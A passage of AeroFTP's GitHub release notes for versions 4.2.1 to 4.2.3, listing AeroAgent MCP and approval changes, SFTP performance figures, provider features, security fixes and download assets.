zeroize1.9.1, whoseDebugof a wrapped secret no longer prints it, anduuid1.28.0 (#1189);tauri-build2.7.1,libunftp0.23.1,tokio-rustls0.26.6,xxhash-rust0.8.19 (#1095); CSS tooling and P2P updates with the patched selector parser pinned and the DNS, TLS and standalone peer fixes aligned, without changing application features (#1114);quinn-proto0.11.18 for RUSTSEC-2026-0338, RUSTSEC-2026-0340 and RUSTSEC-2026-0343 (#1201). - Linux AppImage builds pin and verify all five linuxdeploy helpers against a dated release or source commit and their SHA-256, together with AppRun and linuxdeploy; a corrupt cache entry, a missing verified helper or an unverified plugin stops packaging. A compatible non-yanked iroh-blobs restores strict dependency auditing (#1104).
Changed
- AeroAgent is version 1.7 in AI Settings and the chat header.
- AeroAgent shows exact token counts instead of estimated costs. The amount was estimated from prices built into AeroFTP, which change per model and per provider without notice, and no provider returns the price of a request. Token counts are the provider's own: per reply, with input, output and prompt cache in the tooltip, and per conversation, now counting every request. The monthly cost budgets and the Cost estimates setting go with it, and in the CLI agent
--cost-limitbecomes--token-limit, an exact count that includes the prompt cache, and/costbecomes/usage(#1140). - AppImage delta updates are verified on a real release: zsync rebuilds the 4.2.2 AppImage from the 4.2.1 one with a matching SHA-256 (#1000).
- The tauri runtime layer and the tauri 2.12 plugins are held on the 2.11 line under the
tauri=2.11.0 pin, because a plaincargo updatemoved them to 2.12, on which tauri 2.11.0 does not compile (#1177, #1178). - Interface and design proposals start in the Design Threads discussions: maintainers implement the agreed design across every theme and language, and the proposer is credited as co-author (#1106).
- Build and CI: Windows unit tests run on every Rust change and the Windows build fails on any warning (#1136, #1160), the Tauri context is generated once in build.rs, which saves 6 to 8 minutes of Windows test time per run (#1163), the feature-off build fails on any warning (#1159), and the snap gate G4 runs snapcraft's GPU, library and metadata linters inside core22, where a missing lint can no longer pass as green (#1070, #1152).
- The AeroCrypt key map left without a writer by #1162 is removed with its
aerocrypt_lockcommand; a crypt Compare resolves AeroCrypt keys only through the overlay it opened (#1179).
Contributors
Thanks to the people who shaped this release:
<img src="https://github.com/EhudKirsh.png?size=48" width="48" height="48" alt="@EhudKirsh" />
<img src="https://github.com/jnewing.png?size=48" width="48" height="48" alt="@jnewing" />
<img src="https://github.com/Omkar-Wagholikar.png?size=48" width="48" height="48" alt="@Omkar-Wagholikar" />
<img src="https://github.com/eagle-te.png?size=48" width="48" height="48" alt="@eagle-te" />
<img src="https://github.com/Graninius.png?size=48" width="48" height="48" alt="@Graninius" />
Downloads:
- Windows:
.msiinstaller,.exe, or.zipportable (no installation required) - macOS:
.dmgdisk image - Linux:
.deb,.rpm,.snap, or.AppImage
- AeroFTP-4.2.3-1.x86_64.rpm - 155.3 MB · 15×
- AeroFTP-4.2.3-1.x86_64.rpm.sigstore.json - 10.1 KB · 4×
- AeroFTP-4.2.3-portable-windows-x64.zip - 96.5 MB · 38×
- AeroFTP-4.2.3-portable-windows-x64.zip.sigstore.json - 10.1 KB · 3×
- AeroFTP_4.2.3_aarch64.dmg - 90 MB · 238×
- AeroFTP_4.2.3_aarch64.dmg.sigstore.json - 9.8 KB · 8×
- AeroFTP_4.2.3_amd64.AppImage - 170.3 MB · 66×
- AeroFTP_4.2.3_amd64.AppImage.sigstore.json - 9.9 KB · 3×
- AeroFTP_4.2.3_amd64.AppImage.zsync - 298.2 KB · 69×
- AeroFTP_4.2.3_amd64.AppImage.zsync.sigstore.json - 10 KB · 2×
- AeroFTP_4.2.3_amd64.deb - 78.9 MB · 176×
- AeroFTP_4.2.3_amd64.deb.sigstore.json - 10 KB · 85×
- aeroftp_4.2.3_amd64.snap - 219.6 MB · 2×
- aeroftp_4.2.3_amd64.snap.sigstore.json - 9.9 KB · 1×
- AeroFTP_4.2.3_x64-setup.exe - 65.2 MB · 246×
- AeroFTP_4.2.3_x64-setup.exe.sigstore.json - 10 KB · 20×
- AeroFTP_4.2.3_x64.dmg - 94.7 MB · 213×
- AeroFTP_4.2.3_x64.dmg.sigstore.json - 10 KB · 3×
- AeroFTP_4.2.3_x64_en-US.msi - 93.4 MB · 192×
- AeroFTP_4.2.3_x64_en-US.msi.sigstore.json - 10 KB · 29×
v4.2.2 18d ago · 1,305 · 20 Assets
[4.2.2] - 2026-10-05
MCP Servers for AeroAgent, Faster SFTP, and Parallel Selections
A patch release with two things you will notice at once. AeroAgent reaches 1.6: it can now use the tools of MCP servers, local or remote, each call approved in its own window, it can hand read-only work to scoped workers, and Amazon Bedrock joins its providers. SFTP got much faster: uploads move twice the data at a time, downloads keep the server busy, and both use less memory. Selecting several files now transfers them in parallel on every protocol. Around those, providers gained the actions their services offer (S3 storage classes and Glacier restore, Azure access tiers, Box and Google Drive comments, GitLab links, Filen note tags), folder renames work on B2 and ImageKit, and a long sweep removed more than a hundred backend commands nothing called, among them one that handed a decrypted credential to the interface.
Every change listed here is tracked, with its commit and its discussion, in the release tracker: AeroFTP 4.2.2, known issues, patches and updates.
Thank you to everyone who uses AeroFTP and tells us what works and what does not: several of the changes below exist because someone took the time to report them, and the people who shaped this release by name are listed at the end.
What changes for you
The short version, split by where you meet it. Everything in this list appears again further down with the detail and the commit.
In the app
- AeroAgent 1.6 can use MCP servers. In AI Settings > MCP you add local servers (started in a sandbox, Linux only for now) and remote ones over HTTP, with a bearer token or a browser sign-in whose secrets stay in the backend. AeroAgent sees the tools of the servers you enable, and every call is checked again and approved once in the approval window, never remembered for the chat. A Recommended servers section starts with DeepWiki, and a local server can be given read-only access to folders you pick and confirm.
- AeroAgent can delegate read-only work, and talks to Amazon Bedrock. Up to two scoped workers run side by side on local folders or on pinned S3 profiles, within one shared budget, and Stop cancels them with the chat. Amazon Bedrock is a new provider, with region and model settings.
- SFTP is much faster. A single upload now sends whole write requests, so twice as much data is in flight: 300 MiB over a 47 ms link went from about 20 s to about 10.6 s. Downloads ask for one read per chunk, so the server never idles between rounds (about 46-52 s down to 34-39 s on one connection, 22-27 s to 17-24 s on four), small packets no longer wait for an acknowledgement (one connection on a faster line: 33-35 s down to 17-18 s), and a segmented download shares one memory budget across its connections (25 to 33 MB less at the peak).
- Large trees are read several folders at a time. Calculating used storage, and every walk of a WebDAV tree (AeroSync Compare among them), lists up to eight folders at once instead of one after another: on a WebDAV server with 875 folders and 60,800 files the used-storage scan went from 42-52 s to under 7 s, and on SFTP a tree of 834 folders from 160-180 s to 23 s, with the same figure.
- Selecting several files transfers them in parallel, on every protocol. A multi-file selection used to go one file at a time; it is now one parallel batch, the first Stop lets the files in flight finish, and a cut deletes only the sources that arrived. Parallel transfers also no longer get pinned to one file at a time on a server after a few batches.
- Segmented downloads show real progress, stop when asked, and never publish another download's file. Progress, speed and ETA move while the ranges run, Stop interrupts a large download at once, and two downloads of the same file can no longer leave the second one's empty, pre-sized file in place.
- Provider actions from the context menu. S3 objects get Storage Class, Object Tags and Restore from Glacier; Azure blobs get Access Tier; Box and Google Drive files get a comments window, Box gets collaborators and Unlock Folder; GitLab files get View on GitLab, and View on GitHub opens the browser again; Filen notes manage their tags. Share Link offers the options the connected provider actually supports.
- Folders can be renamed on B2 and ImageKit. B2 answered "Path not found" and ImageKit refused; on B2 the rename also no longer leaves the source in view on a bucket that keeps file versions.
- AeroSync shows its work. A sync run fills the Transfer Queue with a row per file, saved presets are selectable in the Plan and can be deleted, the preset list separates built-in modes from your own presets, and the CLI flags appear beside the options they match.
- AeroSync compares only when you ask, and a compare can be stopped. Opening AeroSync no longer starts reading both folders and every folder under them: the Compare and Plan tabs show the pair and a Start button, a running compare shows its counters and a Stop button, and closing AeroSync stops it too. On a home folder that scan ran through hundreds of thousands of files with no way to stop it, even after the window closed.
- Calculating used storage shows its progress. Clicking the storage figure in the status bar starts a scan that now updates the figure as it goes, against the total you set or the one the server reports, and ends on that total instead of losing it; the label reads "used / total (N files)", with Cancel while it runs. On WebDAV servers that do not support listing a whole tree at once (Filen Desktop among them) the scan no longer waits 30 seconds on every click.
- AeroImage says once per section whether an edit loses data, and Quick Connect calls the saved name "Profile name", with one Optional heading for the S3 temporary-credential fields.
- AeroImage crops anywhere in the image. The selection only reached part of the picture; it now starts as the whole image with its eight handles on the edges, as in other image editors, and reaches every side.
- Saving a server can no longer fail quietly. A failed save keeps the editor open with your input instead of closing as saved, an overwrite check looks at the real destination, editing a saved OAuth server saves again, and a saved OAuth server whose app keys are missing says so and opens the OAuth settings.
- WebDAV works behind an HTTPS reverse proxy, refuses a redirect that would leave HTTPS, and shows upload progress as the bytes go out.
- Security fixes you get without doing anything. Deleting a file from an AeroVault v2 vault removes its encrypted data from the vault file; a developer test tool shipped by mistake in the 4.2.1 Windows installers and macOS DMGs is gone; and more than a hundred backend commands nothing called are removed, including one that returned a decrypted credential and one that wrote agent memory without approval.
- Linux AppImages are ready for delta updates. From this release on each AppImage carries its update information and a
.zsyncfile next to it, so the next update can fetch only the parts that changed; AM / AppMan join the install methods. The app no longer crashes at start-up on GNOME with appmenu-gtk-module, and opening the approval window no longer reloads the main window. - Smaller things that now behave: Security Tools open as a column next to the editor, the native menu follows a language change, file tags follow renames and moves, the AeroCloud tray badge shows Paused, Export works from a server's context menu, and the Flatpak import results that only inform show OK alone.
- Table cells line up with their headers. In the AeroFile file lists the sizes and the
-placeholders sat on the right under left-aligned headers: an old rule pushed the 2nd and 3rd column of every table in the app to the right. It is gone, and every table follows its own alignment. - On Linux the window has rounded corners, 8px like on Windows 11, on desktops with a compositor; maximized and fullscreen windows stay square. If your graphics driver shows a blank window, start AeroFTP with
AEROFTP_SQUARE_CORNERS=1to get the square corners back.
- The SFTP speed-ups apply to
get,put,pgetandsynctoo, and S3 multipart uploads keep each part once (peak memory 156-159 MB instead of 208-216 MB on 300 MiB) and reuse the connection of the connect probe. pgetand every segmented download keep their temporary locked until it is published (Linux, local filesystems), so two downloads of one file can no longer leave a file with holes behind an exit 0.--transfer-enginesays what it does. The help and the docs name the transfers the override reaches, and-vnames the real one in use.df --scanandsizewalk several folders at once, up to--checkers(default 8), where the provider lists on independent connections (SFTP, Azure Blob, WebDAV), with the same figure as before, andcheckandsynclist a WebDAV tree the same way.
Added
- AeroAgent 1.6: MCP servers. Local STDIO servers and remote Streamable HTTP servers are managed per user in AI Settings > MCP, with every secret held by the backend, never by the interface, and an OAuth sign-in the backend runs (the interface sees only an opaque attempt and a redacted outcome; a loopback callback on 127.0.0.1 only). AeroAgent receives the tools of the enabled servers through live snapshots; every call is re-resolved by the backend, refused when the server's binding or the tool's schema changed, and approved once in the approval window, never remembered for the chat, and Stop cancels it. Tool schemas are checked against a bounded subset (enumerations, numeric bounds compared exactly, lengths), so the official reference servers work and an out-of-range argument is refused before approval; SDK-based HTTP servers such as DeepWiki connect through a narrow fallback. Local servers run in a file-only sandbox with no network, can be given read-only access to folders the user picks and confirms, and stay closed on Windows and macOS until an equivalent sandbox exists. A Recommended servers section installs DeepWiki by id, disabled until enabled (#999, #1003, #1004, #1026, #1033, #1038).
- AeroAgent 1.6: scoped workers. AeroAgent can hand read-only work to up to two workers at once, on local folders or on up to two pinned S3 profiles, with one ledger and one budget shared with the chat, bounded results, and cancellation that reaches every worker; worker cards stay readable after Stop (#999).
- Amazon Bedrock as an AeroAgent provider, with region and model configuration, the model catalog, streaming and non-streaming inference, and endpoints checked for HTTPS before any credentialed request (#999).
- Linux AppImage delta updates. From this release each AppImage carries its update information and is published with its
.zsyncfile, so AppImageUpdate and AM can download only the blocks that changed when the next release comes; this release is the first that can be checked end to end, and that check follows the tag. The publication fails closed when the release assets are ambiguous (@shuvashish76, #900, #999). - Provider actions in the context menu. S3 objects: Storage Class, Object Tags and Restore from Glacier; Azure blobs: Access Tier; the backend checks every class and tier it is sent (#1030). Box and Google Drive files: a comments window (list, add, delete); Box: collaborators and Unlock Folder (#1029). GitLab: View on GitLab, self-hosted included (#1028). Filen notes: add, remove, create, rename and delete tags from the editor, and a note type change is saved at once (#1031).
- Folder rename on B2 and ImageKit. B2 copies every file under the new prefix and deletes the originals only once every copy is made, refuses a folder moved into itself, never merges two folders, and says where everything is if it stops part way; ImageKit uses its renameFolder job and refuses a name it would rewrite. On a B2 bucket that keeps versions, a renamed file or folder no longer stays in view under its old name, and a token that expires during a long rename is renewed at the step where it expired (#1064).
- AeroSync: saved presets in the Plan. A saved preset can be applied in the Plan tab without changing the endpoints, with the fields it cannot carry named; right-to-left plans swap the source bucket roles correctly (#1055). The preset selector groups the built-in modes apart from your saved presets (@EhudKirsh, #347, #1059), and the Plan and Local mirror tabs show
--excludeand--dry-runbeside their options (@EhudKirsh, #347, #1035). - Right-click a server in My Servers to export it, and filter the server lists of Import and Export, where "select all" acts on the rows shown (#1008).
- Security Tools open as a column next to Editor, Terminal and AI Agent instead of a window over the app; the Cyber theme keeps the window (@EhudKirsh, #1037).
- The README lists the AM and AppMan install for Linux (@shuvashish76, #900).
Fixed
- Single-file SFTP uploads send whole WRITE requests. OpenSSH accepts 261120 bytes per WRITE and the upload buffer is 262144, so every buffer went out as a full WRITE plus a 1 KiB one, and half of the eight WRITEs in flight carried 1 KiB: about 0.8 MB stayed on the wire where 2 MB fit. A 300 MiB upload over a 47 ms link went from a median of 19.99 s to 10.62 s, every upload verified on the server (#1057).
- SFTP downloads read each chunk in one READ. Each 256 KiB chunk went out as two serial READs, and the server sat idle for a round trip at the end of every round. A 300 MiB download over a 47 ms link went from 51.7, 46.9 and 45.8 s to 36.1, 39.1 and 34.2 s on one connection and from 22.7, 26.8 and 21.7 s to 17.2, 23.6 and 19.8 s on four, with peak memory down from 162-180 MB to 142-151 MB (#1063).
- SFTP connections turn off Nagle's algorithm. The small READ and window-adjust packets of a download waited for the previous one to be acknowledged; on one connection over a faster line a 300 MiB download went from 32.66 and 35.11 s to 18.50 and 17.41 s. Uploads were measured too: no regression (#1067).
- A segmented SFTP download shares one read-ahead budget across its connections, instead of each connection taking the whole one-connection window: four connections keep 16 READs each, and the peak memory of a 300 MiB download fell by 25 to 33 MB with no consistent time cost (#1066).
- The used-storage scan lists several folders at once. It was a serial loop of its own beside the walker AeroSync and the CLI use; it now runs on that walker, which lists up to eight folders at once on SFTP, Azure Blob and WebDAV and locks the connection per step, so other work on the session goes on during the scan. The figure keeps its meaning: links are left out, a folder that does not answer within its limit is counted as unreadable while its siblings are still counted, and
aeroftp-cli df --scanandsizetake the same walk. Measured with the same figure in every run: 875 folders and 60,800 files on WebDAV from 41.7-52.2 s to 6.5-6.8 s, 834 folders and 3,676 files on SFTP from 160.3-180.2 s to 22.8-23.5 s (@EhudKirsh, #958). - WebDAV lists folders in parallel. A walk of a WebDAV tree (AeroSync Compare,
aeroftp-cli checkandsync, the MCP tools) lists eight folders at once instead of one, like rclone's default--checkers, and a folder the server answers 429 or 503 is listed again after the pause the server asks for, within 30 seconds in all, instead of counting as unreadable: comparing the 60,800-file tree went from 48.4-60.4 s to 6.9-7.3 s with the same rows.--checkerslowers the count in the CLI. A single-file WebDAV profile keeps its one connection, and an AeroCrypt overlay on WebDAV still walks one folder at a time through its decrypting layer (#958). - Selecting several files transfers them in parallel on every protocol. A multi-file selection in the file browser ran one file at a time; it is now one parallel batch, the first Stop finishes the files in flight, and a cut deletes only the sources that arrived (@roflhouse, #591, #1013). Parallel transfers no longer get pinned to one file at a time on a server after a few batches, folders or syncs (#591, #1021).
- A segmented download can no longer publish another download's half-written file. The engine released its lock on the temporary before the last check and rename, so a second segmented download of the same file could replace it with its own empty, pre-sized file, and the first one published that; the lock is now held until the file is published, on all six paths that use the engine (Linux, local filesystems; elsewhere as before) (#951, #1062).
- Segmented downloads show real progress and stop when asked. Progress, speed and ETA move while the ranges run instead of staying indeterminate until a range finishes (#1040), and Stop interrupts a large segmented download on HTTP providers and a cross-profile copy at once, never publishing a partial file (#1036).
- WebDAV. Folders open again on servers behind an HTTPS reverse proxy (a bare 401 before), a redirect that would leave HTTPS is refused with an error naming the server misconfiguration instead of dropping the credentials (#1011), and uploads show streamed progress that stays monotonic across a Digest retry and completes only after the server accepts the file.
- The used-storage scan shows its figure live and keeps its total. It started by dropping the figure to zero and moved only with a manual total; it now updates the status bar chip on every progress report, against the manual total or the total on screen, and ends on that total, where a scan used to leave 0. The running count and the figure are one chip, labelled "used / total (N files)" instead of "files · bytes". A WebDAV server that refused
PROPFIND Depth: infinity(403, 400, 405 or 501) is not asked again until it reconnects, one that sent no answer within 30 s is not asked again for ten minutes, and the Filen Desktop bridge is never asked, so a scan no longer waits the 30 s cap on every click (@EhudKirsh, #958, #1079). - S3 multipart uploads keep each part once (peak memory 156-159 MB instead of 208-216 MB on 300 MiB) and S3 commands reuse the connect probe's connection (#1056).
- Saving and overwriting are checked before they report success. Overwrite checks inspect the real destination, keep an empty listing apart from a failed one and refuse to write when the check failed, and a batch rename gives repeated names distinct paths (#1049). A failed save of a server profile keeps the editor and your input, never reports success, and puts back any credential it touched; saved-server actions, settings, imports and background metadata are stored before the interface shows them (#1053). Editing a saved OAuth server can be saved again, and a failed save is reported (#1009); a saved OAuth server whose app keys are missing says so and opens the OAuth settings (#1014).
- AeroSync. A sync run fills the Transfer Queue, each file with live progress and its outcome (@EhudKirsh, #364, #1034); journals are signed on every save so History can verify them, and saved presets can be deleted (#1023); the notice for a preset with nothing to run has its own title, "Nothing to sync" (#1060).
- AeroSync no longer starts a recursive compare when it opens, and a compare can be stopped. The Compare and Plan tabs wait for Start, and a running compare has a Stop button. Each compare now has a cancel flag of its own, found by the progress id the interface already passes, instead of the transfer cancel flag: Stop, closing AeroSync and starting another compare stop the scan that is running, and starting a compare no longer clears a Stop just pressed on a transfer (#1074).
- Share Link offers the expiry, password and permission options the connected provider reports, Revoke works on every provider that lists links, and closing the window early no longer creates a link (#1019).
- AeroAgent MCP on Linux: the main window no longer reloads when the approval window opens, and the approval and extraction windows no longer crash with appmenu-gtk-module (#1017); the app no longer crashes at start-up on GNOME with appmenu-gtk-module when the interface is slow to load (#1005).
- The native menu is translated again after a language change, and rebuilding it no longer brings back a menu bar hidden on Linux (#1032). File tags follow local renames, moves and deletes, folders included (#1027). Pausing AeroCloud shows the Paused tray badge (#1025).
- Saving a profile another user account on this device already has shows a warning and an Activity Log entry; the multi-user check behind it was never called (#1015).
- AeroImage marks loss once per section. Crop, rotate, flip and invert share one section, titled Lossless on PNG and the other formats that keep pixels, and Lossy on JPEG and GIF, where saving re-encodes; resize and the colour controls stay in the Lossy section. Quick Connect calls the saved name "Profile name", and the S3 session token and AssumeRole fields share one Optional heading (@EhudKirsh, #347, #1068).
- AeroImage crop reaches the whole image. The selection was drawn shifted by the margin around the centred image, so part of the picture could not be selected (the bottom of a landscape image, a side of a portrait one). It is now drawn over the image, starts as the whole image with its handles on the edges, keeps a crop already chosen when crop mode is entered again, and a whole-image selection adds no crop to the save (@EhudKirsh, #1075, #1078).
- Table cells follow their headers. A stylesheet rule written when the 2nd and 3rd columns were always Size and Modified right-aligned those two columns in every table of the app, overriding the alignment each table declared; in the AeroFile file lists it put the sizes and the
-placeholders on the right under left-aligned headers. The rule is removed, and the AeroFile trash aligns its Size column to the left like its other columns (@EhudKirsh, #347, #1073). - The main window has rounded corners on Linux. It is borderless, and a Linux compositor rounds only the windows it decorates, so its corners were square where Windows 11 rounds them. On a composited screen the window is now transparent and the page cuts 8px corners, square again while maximized or fullscreen; without a compositor nothing changes, since transparent corners would show black there.
AEROFTP_SQUARE_CORNERS=1keeps the window opaque, for a driver that cannot draw a transparent one (#1076). - The Flatpak import results that only inform show OK alone instead of a Cancel that offered no choice (#1065).
Security
- Deleting a file from an AeroVault v2 vault removes its encrypted data from the vault file; it stayed there before (#1022).
- A developer tool that writes test profiles into the vault, shipped by mistake in the 4.2.1 Windows installers and macOS DMGs, is no longer packaged (#1043).
- More than a hundred backend commands that nothing in the app called are removed: seven multi-user commands, one of which returned a decrypted per-user credential to the interface (#1016); the old AeroAgent tool router and plugin-hook runner that acted without approval (#1024); one that wrote agent memory without approval (#1041); eleven vault, 24 provider, 28 legacy session and provider, 19 miscellaneous and 14 sync commands (#1018, #1020, #1022, #1023, #1025). A test now requires every registered command to have a caller, following hooks and imports to their real module (#1016, #1041).
- The Linux release build pins the AppImage tools it downloads. appimagetool comes from its release 1.9.1 and the AppImage runtime, the first code that runs when the AppImage starts, from type2-runtime release 20251108, each checked against the digest GitHub publishes; both used to be taken from rolling builds on every build, the runtime with no check at all (#1071, #1072). Known gap: runtime 20251108 predates the upstream change that creates the extraction folders with mode 0700 instead of 0755 when the AppImage runs extracted, which the 4.2.1 AppImage already had; it comes back with the next versioned runtime release.
- DOMPurify 3.4.16 for sanitized HTML and SVG previews (#1002).
- The Snap Store revision of 4.2.1 was rebuilt against USN-8863-1 (GStreamer Good Plugins), published as r225 with no code change.
Changed
- AeroAgent is version 1.6 in AI Settings and the chat header (#1061).
--transfer-engineand the transfer engine docs say what the router does: the override reaches the plain single-file transfer, plain WebDAV and Nextcloud downloads take the direct path, and-vnames the real override; the engine docs gain five figures and a method for measuring the engine against the direct path (#1044, #1045, #1046, #1048).- The 4.2.0 changelog no longer quotes an S3 multi-stream figure measured on one stream; it gives the 4.2.1 measurement (#1050).
- macOS installers build on macos-15 before the macos-14 image is retired, with the same minimum macOS (10.13 Intel, 11.0 Apple Silicon), and every DMG is checked against the last release (#1039).
- Every checkout gets LF line endings, Windows included; what the Windows installers ship is unchanged (#1051).
- The snap's GPU gate says when
snapcraft lintdid not run instead of reporting a clean lint, and reads the linter's findings in the form snapcraft prints them (- gpu: ...), which it used to miss (#1070).
Contributors
Thanks to the people who shaped this release:
<img src="https://github.com/EhudKirsh.png?size=48" width="48" height="48" alt="@EhudKirsh" />
<img src="https://github.com/roflhouse.png?size=48" width="48" height="48" alt="@roflhouse" />
<img src="https://github.com/shuvashish76.png?size=48" width="48" height="48" alt="@shuvashish76" />
Downloads:
- Windows:
.msiinstaller,.exe, or.zipportable (no installation required) - macOS:
.dmgdisk image - Linux:
.deb,.rpm,.snap, or.AppImage
- AeroFTP-4.2.2-1.x86_64.rpm - 152.2 MB · 21×
- AeroFTP-4.2.2-1.x86_64.rpm.sigstore.json - 10.2 KB · 6×
- AeroFTP-4.2.2-portable-windows-x64.zip - 95.6 MB · 37×
- AeroFTP-4.2.2-portable-windows-x64.zip.sigstore.json - 10 KB · 6×
- AeroFTP_4.2.2_aarch64.dmg - 88.4 MB · 243×
- AeroFTP_4.2.2_aarch64.dmg.sigstore.json - 10.1 KB · 11×
- AeroFTP_4.2.2_amd64.AppImage - 95.8 MB · 57×
- AeroFTP_4.2.2_amd64.AppImage.sigstore.json - 10.1 KB · 2×
- AeroFTP_4.2.2_amd64.AppImage.zsync - 167.8 KB · 24×
- AeroFTP_4.2.2_amd64.AppImage.zsync.sigstore.json - 9.9 KB · 2×
- AeroFTP_4.2.2_amd64.deb - 77.4 MB · 142×
- AeroFTP_4.2.2_amd64.deb.sigstore.json - 10 KB · 91×
- aeroftp_4.2.2_amd64.snap - 217.4 MB · 4×
- aeroftp_4.2.2_amd64.snap.sigstore.json - 9.7 KB · 1×
- AeroFTP_4.2.2_x64-setup.exe - 64.6 MB · 230×
- AeroFTP_4.2.2_x64-setup.exe.sigstore.json - 10 KB · 15×
- AeroFTP_4.2.2_x64.dmg - 93.2 MB · 211×
- AeroFTP_4.2.2_x64.dmg.sigstore.json - 10 KB · 3×
- AeroFTP_4.2.2_x64_en-US.msi - 92.6 MB · 173×
- AeroFTP_4.2.2_x64_en-US.msi.sigstore.json - 10.1 KB · 26×
v4.2.1 23d ago · 857 · 18 Assets
[4.2.1] - 2026-09-30
Four New Ways to Connect, and a Round of Repairs
A patch release that also brings new places to connect: Twake Drive as a native integration, IBM Cloud Object Storage and Mail.ru Cloud as ready presets, and Proton Drive through the official Proton Drive CLI. AeroAgent reaches 1.5, with provider-native reasoning kept across tool calls and approvals that fail closed. Most of the rest is repair: extraction, trash, keystore backups, sync, the CLI and the cloud providers now do what they say, and several of the fixes came from community reports. A full pre-release review read every change since 4.2.0; the defects it found, among them a Mirror that could delete files it had been told to keep and a keystore import that could drop servers, are all fixed here, each with a test that failed before the fix.
Every change listed here is tracked, with its commit and its discussion, in the release tracker: AeroFTP 4.2.1, known issues, patches and updates.
What changes for you
Most of this release is new places to connect and repair, so the short version below is split by where you meet it: what is new, and what stops going wrong. Everything in this list appears again further down with the detail and the commit.
In the app
- Four new ways to connect: Twake Drive, IBM Cloud Object Storage, Mail.ru Cloud and Proton Drive. Twake Drive (formerly Cozy Cloud, 5 GB free) is a native provider that signs in against your own instance in the browser, with no vendor app. IBM Cloud Object Storage and Mail.ru Cloud join as ready presets with setup pages on the docs site. Proton Drive works through the official Proton Drive CLI: sign in to Proton in the browser and AeroFTP drives it, with a live check that says whether the CLI is installed and signed in.
- A failed extraction no longer empties or shortens files you already had. A wrong 7z password could replace an existing file with an empty one, and a truncated zip, tar or 7z extracted short files silently. Entries are now written aside and moved into place only when complete, and a wrong password is named as such.
- A Mirror keeps what it did not complete, and removing a folder never takes its content along. A file the sync was told to leave alone, or one whose backup copy failed, keeps its folder, and the result says why each folder was kept. Deleting a folder without asking for recursion now refuses one that still holds files, on every backend.
- AeroSync's versioned backup keeps the old copy on remote destinations too. Before a sync overwrites or deletes a file on a remote, the old copy is moved to the backup folder, and a later Mirror can never delete those copies. The Plan also gains exclude patterns for every pair and shows the matching command-line sync for the same run.
- Importing a keystore backup shows, server by server, what would change, and lets you choose. New, removed and changed profiles are listed with their field-level differences (never a secret), and a changed profile can take the backup's version, keep this device's, or be kept as both. A "skip existing" import no longer drops the servers you added after the backup.
- AeroAgent asks for approvals in its own window, and remembers an answer for the rest of the chat. Only that window can grant an approval; allowing a tool for the rest of the chat (off by default, never for delete, trash, shell or extraction) means three folders need one approval instead of three. Stop now also cancels the tools still running, and on a large vault the agent sees every saved server instead of the first fifth.
- SFTP transfers no longer hang when the server goes away. An upload in flight when the server restarted used to never return; every SFTP transfer now ends as a lost connection that the app reconnects on and the command line retries.
- Cloud providers no longer act on an item whose name differs only in case. On Google Drive, uploading
a.txtbesideA.txtoverwroteA.txt; similar traps on Box, kDrive, Drime, Internxt and OneDrive are closed, and a trash purge takes only the item trashed from that folder. - A rename or move never overwrites what already has the destination name. Several providers replaced the existing file silently, or left two files with one name; every provider now refuses a taken name first.
- Upload progress is real on Zoho WorkDrive, Koofr, kDrive, 4shared and FileLu. The bar used to sit still and jump to 100 at the end; it now follows the bytes, reaches 100 only when the server has the file, and WorkDrive accepts uploads over 250 MB through its stream upload server.
- Downloads keep the remote modification time, and WebDAV dates are read. A downloaded file used to get the time of the download, so the next sync saw every one of those files as changed; a second sync after a download is now a no-op.
- AeroSync Compare warns about the files the remote cannot take. With a remote on one side, it lists the files a sync would send that the remote cannot store, each with its reason (too large, name or path over the provider's documented limit), so you can rename or split before starting.
- On Linux the app is harder to lose: no more blank window at a cold start, and a crashed web process reloads by itself. The interface is now served by a new built-in server that answers every connection. In-app updates no longer leave a 70 MB package in
/var/tmp, and the AppImage runs for every user, including sandboxed starts. - Internxt connects again, and implicit FTPS transfers work again. Free Internxt accounts logged in against a host that no longer answers; every implicit FTPS transfer failed in the data handshake. Both are fixed, and a failed Internxt login now says what actually failed.
- Cyber Tools derives Argon2id keys and computes the BLAKE3 keyed and derive-key modes, locally, pinned against the official test vectors, and nothing is stored: the inputs live in the window only.
- Ctrl-C now stops a transfer and reports it as interrupted. A single-file
get,putorpgetused to run to its end or hang; every transfer stops in every phase and exits 130 with"status": "interrupted"instead of a misleading success or a retryable failure. - One-way sync reaches parity with the app.
sync --update,--conflict-mode,--modify-windowand--checksumbring the Backup and Update rules to the command line, one modification-time rule applies on every backend, andsync --deleteremoves the directories it emptied on every backend. - Deletes got safer edges.
rmwithout-rrefuses a folder that still holds files (exit 9), a percentage--max-deleterounds down so a cap under 100% can never empty a side, andrm --dry-runon a non-empty directory exits 9 like the real run. sync --immutablecan no longer drop a transfer silently. A same-size destination counts as skipped, one of another size (usually the partial a cut left behind) is refused instead of overwritten, and batch uploads on providers without a transfer pool sign in once per worker instead of once per file, which removes the login rate limits that cut large uploads.- One exclude rule in the app and the CLI. A bare name such as
node_modulesnow excludes the whole directory, matching is case-insensitive, and an invalid pattern is a usage error (exit 5) instead of being dropped without a word. Patterns match more than before, never less, so exclude lists written for the old reading deserve a review. - The rclone bridge reads and writes keys the way rclone does. S3, Azure, Swift and B2 keys import exactly as written (a small share used to be stored corrupted, so a profile imported from rclone that fails to sign in should be imported again), Internxt exports to rclone, Drime, Cloudinary and ImageKit round-trip both ways, and secrets stay out of the JSON report.
- AeroAgent 1.5 keeps reasoning state across tool calls and fails closed. Modern providers keep their native reasoning between steps, a changed provider or model cannot replay another turn,
--auto-approve highstops short of delete and shell, andagent --provider anthropicreaches the right endpoint again. - Recursive downloads honour the multi-thread settings.
get -r, globgetandsyncdownloads now follow--multi-thread-streamsand--multi-thread-cutoffinstead of always using the measured default, and print the policy they use.
Added
- AeroAgent 1.5: modern provider contracts and native tool continuations. Reasoning models keep their provider-native state across tool calls (OpenAI Responses, Anthropic content blocks, compatible Chat), with scope checks so a changed provider, model or endpoint cannot replay another turn. NVIDIA and Alibaba Model Studio capabilities are discovered exactly and public OpenRouter metadata enriches its models; custom providers can be added more than once and named. The Send button becomes Stop during generation. Each turn starts with four core tools and loads more through a local tool search that never grants approval.
aeroftp-cli agent --provider anthropicreaches the right endpoint again, Ctrl-C exits 130 with the partial answer, and provider errors reach the user bounded and with keys removed (#948). - One modification-time rule for sync, and CLI one-way sync at parity with the GUI. Two times within 2 s are the same instant, the window follows the precision each backend keeps (size only where a backend has no comparable time, stated), one date parser replaces thirteen, and a pair with the same date is never decided by its size. CLI one-way sync gains the GUI's Backup and Update rules:
